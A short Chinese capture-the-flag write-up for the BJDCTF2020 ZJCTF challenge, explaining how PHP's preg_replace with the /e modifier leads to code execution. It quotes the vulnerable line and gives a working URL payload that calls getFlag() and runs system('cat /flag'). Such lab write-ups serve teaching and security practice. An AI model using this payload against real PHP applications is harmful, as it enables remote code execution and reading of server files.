[BJDCTF2020]ZJCTF,不过如此(读取文件、preg_replace与代码执行)

知识点

题解
先读取next.php的源码(与上题方法一样)

  preg_replace('/(' . $regex . ')/ei', 'strtolower("\\1")', $value);

\\1其实就是\1,\1表示取出正则匹配后的第一个括号内的字符(\2也就是取出第二项)
在这里插入图片描述
接下来就要想办法调用getFlag()并传入cmd参数
构造payload

next.php?\S*=${getFlag()}&cmd=system('cat /flag');

1、用$包裹,是为了${val}的val能够当成变量执行
2、使用的模式是\S而不是.是因为在PHP中,对于传入的非法的 $_GET 数组参数名,会将其转换成下划线

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值